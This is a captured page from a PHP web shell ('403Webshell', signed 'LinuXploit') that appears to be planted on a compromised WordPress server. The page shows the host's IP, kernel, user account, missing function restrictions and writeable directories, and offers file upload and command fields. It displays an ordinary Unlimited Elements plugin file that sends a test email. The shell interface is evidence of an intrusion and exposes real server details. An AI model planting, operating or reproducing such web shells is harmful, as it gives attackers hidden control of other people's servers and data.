403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/revivere/www/wp-content/plugins/unlimited-elements-for-elementor/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/revivere/www/wp-content/plugins/unlimited-elements-for-elementor/views/email-test.php
<?php

/**
 * @package Unlimited Elements
 * @author unlimited-elements.com
 * @copyright (C) 2021 Unlimited Elements, All Rights Reserved.
 * @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

if ( ! defined( 'ABSPATH' ) ) exit;

class UCEmailTestView{

	/**
	 * Displays the view.
	 *
	 * @return void
	 */
	public function display(){

		$this->displayHeader();

		?>
		<form method="post">
			<?php $this->displayHiddenFields(); ?>
			<?php $this->displayFormFields(); ?>
		</form>
		<?php


		$this->displayFooter();
	}

	/**
	 * Display the header.
	 *
	 * @return void
	 */
	private function displayHeader(){

		$headerTitle = __("Email Test", "unlimited-elements-for-elementor");

		require HelperUC::getPathTemplate("header");
	}

	/**
	 * Display the hidden fields.
	 *
	 * @return void
	 */
	private function displayHiddenFields(){

		echo '<input type="hidden" name="page" value="' . esc_attr($_REQUEST["page"]) . '" />';

		if(empty($_REQUEST["view"]) === false)
			echo '<input type="hidden" name="view" value="' . esc_attr($_REQUEST["view"]) . '" />';
	}

	/**
	 * Display the form fields.
	 *
	 * @return void
	 */
	private function displayFormFields(){

		$email = UniteFunctionsUC::getPostVariable("email", "", UniteFunctionsUC::SANITIZE_TEXT_FIELD);
		$user = wp_get_current_user();

		?>
		<div>
			<label for="email">
				<?php esc_html_e("Send To", "unlimited-elements-for-elementor"); ?>
			</label>
			<input
				id="email"
				type="email"
				name="email"
				placeholder="user@example.com"
				value="<?php echo esc_attr($email ?: $user->user_email); ?>"
			/>
			<?php submit_button(__("Send Email", "unlimited-elements-for-elementor"), "", "", false); ?>
		</div>
		<?php

		if(empty($email) === true)
			return;

		try{
			$validEmail = UniteFunctionsUC::isEmailValid($email);

			if($validEmail === false)
				UniteFunctionsUC::throwError(__("Invalid email address.", "unlimited-elements-for-elementor"));

			$subject = __("Unlimited Elements Test Email", "unlimited-elements-for-elementor");
			$message = __("Congratulations, the test email has been successfully sent.", "unlimited-elements-for-elementor");

			$emailSent = wp_mail($email, $subject, $message);

			if($emailSent === false)
				UniteFunctionsUC::throwError(__("Unable to send the test email.", "unlimited-elements-for-elementor"));

			?>
			<div style="color: green; margin-top: 5px;">
				<?php esc_html_e("Test email has been successfully sent.", "unlimited-elements-for-elementor"); ?>
			</div>
			<?php
		}catch(Exception $exception){
			?>
			<div style="color: red; margin-top: 5px;">
				<?php 
				// translators: %s is a string
				echo esc_attr(sprintf(__("Error: %s", "unlimited-elements-for-elementor"), $exception->getMessage())); 
				?>
			</div>
			<?php
		}
	}

	/**
	 * Display the footer.
	 *
	 * @return void
	 */
	private function displayFooter(){

		$url = HelperUC::getViewUrl(GlobalsUnlimitedElements::VIEW_SETTINGS_ELEMENTOR, "#tab=forms");

		?>
		<div style="margin-top: 20px;">
			<a class="button" href="<?php echo esc_url($url); ?>">
				<?php echo esc_html__("Back to Settings", "unlimited-elements-for-elementor"); ?>
			</a>
		</div>
		<?php
	}

}

$emailTest = new UCEmailTestView();
$emailTest->display();

Youez - 2016 - github.com/yon3zu
LinuXploit